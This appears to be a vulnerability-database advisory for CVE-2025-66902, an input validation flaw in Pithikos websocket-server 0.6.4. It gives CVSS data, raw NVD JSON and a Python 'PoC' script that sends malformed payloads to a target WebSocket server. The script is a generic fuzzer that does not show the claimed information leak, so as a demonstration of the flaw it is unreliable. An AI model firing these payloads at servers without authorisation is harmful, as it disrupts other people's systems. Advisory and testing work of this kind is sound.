Security Vulnerability Report
中文
CVE-2025-66902 CVSS 7.5 HIGH

CVE-2025-66902

Published: 2026-01-20 21:16:05
Last Modified: 2026-01-30 20:21:29

Description

An input validation issue in in Pithikos websocket-server v.0.6.4 allows a remote attacker to obtain sensitive information or cause unexpected server behavior via the websocket_server/websocket_server.py, WebSocketServer._message_received components.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:pithikos:websocket_server:0.6.4:*:*:*:*:*:*:* - VULNERABLE
Pithikos websocket-server < 0.6.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-66902 PoC - Pithikos websocket-server Input Validation Vulnerability This PoC demonstrates the input validation issue in websocket_server/websocket_server.py """ import asyncio import websockets import json import sys async def exploit(target_host, target_port=8765): """Exploit CVE-2025-66902 by sending crafted WebSocket messages""" uri = f"ws://{target_host}:{target_port}" try: async with websockets.connect(uri, ping_interval=None) as websocket: print(f"[+] Connected to {uri}") # Crafted message to trigger the vulnerability # Sending messages with special characters and unexpected formats payloads = [ "\x00\x01\x02" + "A" * 1000, # Binary prefix + overflow "\x00" * 500, # Null bytes "{" + "\"a\":"*100 + "\"}", # Malformed JSON "\n\r\t" * 100, # Whitespace characters "\xfe\xff" + "B" * 2000, # BOM + overflow ] for i, payload in enumerate(payloads, 1): print(f"\n[*] Sending payload {i}...") await websocket.send(payload) print(f"[+] Payload {i} sent") try: response = await asyncio.wait_for(websocket.recv(), timeout=3) print(f"[+] Received response: {response[:200]}...") except asyncio.TimeoutError: print("[-] No response received (possible timeout or server hang)") except Exception as e: print(f"[!] Error receiving response: {e}") except Exception as e: print(f"[-] Connection failed: {e}") return False return True if __name__ == "__main__": host = sys.argv[1] if len(sys.argv) > 1 else "localhost" port = int(sys.argv[2]) if len(sys.argv) > 2 else 8765 asyncio.run(exploit(host, port))

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-66902", "sourceIdentifier": "[email protected]", "published": "2026-01-20T21:16:04.557", "lastModified": "2026-01-30T20:21:29.483", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An input validation issue in in Pithikos websocket-server v.0.6.4 allows a remote attacker to obtain sensitive information or cause unexpected server behavior via the websocket_server/websocket_server.py, WebSocketServer._message_received components."}, {"lang": "es", "value": "Un problema de validación de entrada en Pithikos websocket-server v.0.6.4 permite a un atacante remoto obtener información sensible o causar un comportamiento inesperado del servidor a través de los componentes websocket_server/websocket_server.py, WebSocketServer._message_received."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-20"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:pithikos:websocket_server:0.6.4:*:*:*:*:*:*:*", "matchCriteriaId": "F7B81AF5-FCC6-4112-8778-71FE09553C9B"}]}]}], "references": [{"url": "https://github.com/cyberinvest211/websocket-server-vuln-poc/tree/main", "source": "[email protected]", "tags": ["Third Party Advisory", "Exploit"]}]}}